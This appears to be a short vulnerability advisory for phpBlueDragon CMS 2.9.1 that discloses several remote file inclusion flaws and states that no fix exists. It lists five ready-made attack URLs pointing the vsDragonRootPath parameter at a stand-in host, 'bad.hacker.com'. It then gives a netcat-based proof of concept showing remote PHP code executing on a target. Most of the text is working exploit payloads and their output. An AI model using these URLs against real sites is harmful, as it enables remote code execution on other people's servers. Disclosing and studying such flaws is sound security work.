phpBlueDragon CMS 2.9.1 multiple remote file inclusion vuln

[rozowa.landrynka@xxxxxxxxxxxxxx]

PHPBlueDragon CMS <= 2.9.1 http://phpbluedragon.net/

Affected files:
    
root_includes/root_modules/team_admin.php?action=move_item&template_redirect=yes&vsDragonRootPath=http://bad.hacker.com:6666/
  
root_includes/root_modules//rss_admin.php?action=move_item&template_redirect=yes&vsDragonRootPath=http://bad.hacker.com:6666/
       
root_includes/root_modules/manual_admin.php?action=move_item&template_redirect=yes&vsDragonRootPath=http://bad.hacker.com:6666/
    
root_includes/root_modules/forum_admin.php?action=group_move&template_redirect=yes&vsDragonRootPath=http://bad.hacker.com:6666/
    
root_includes/root_modules/forum_admin.php?action=forum_move&template_redirect=yes&vsDragonRootPath=http://bad.hacker.com:6666/

Solution:

None

Simple PoC:

nc -l -p 9999
...
http://some.site/root_includes/root_modules/forum_admin.php?action=forum_move&template_redirect=yes&vsDragonRootPath=http://192.168.0.xx:9999/
...
$ nc -l -p 9999
GET /public_includes/pub_kernel/pbd_move. HTTP/1.0
Host: 192.168.0.xx:9999

HTTP/0.9 200 OK

<?php phpinfo(); ?>
...
System  OpenBSD xxx 3.9 xxx i386
... 

Credits:
shm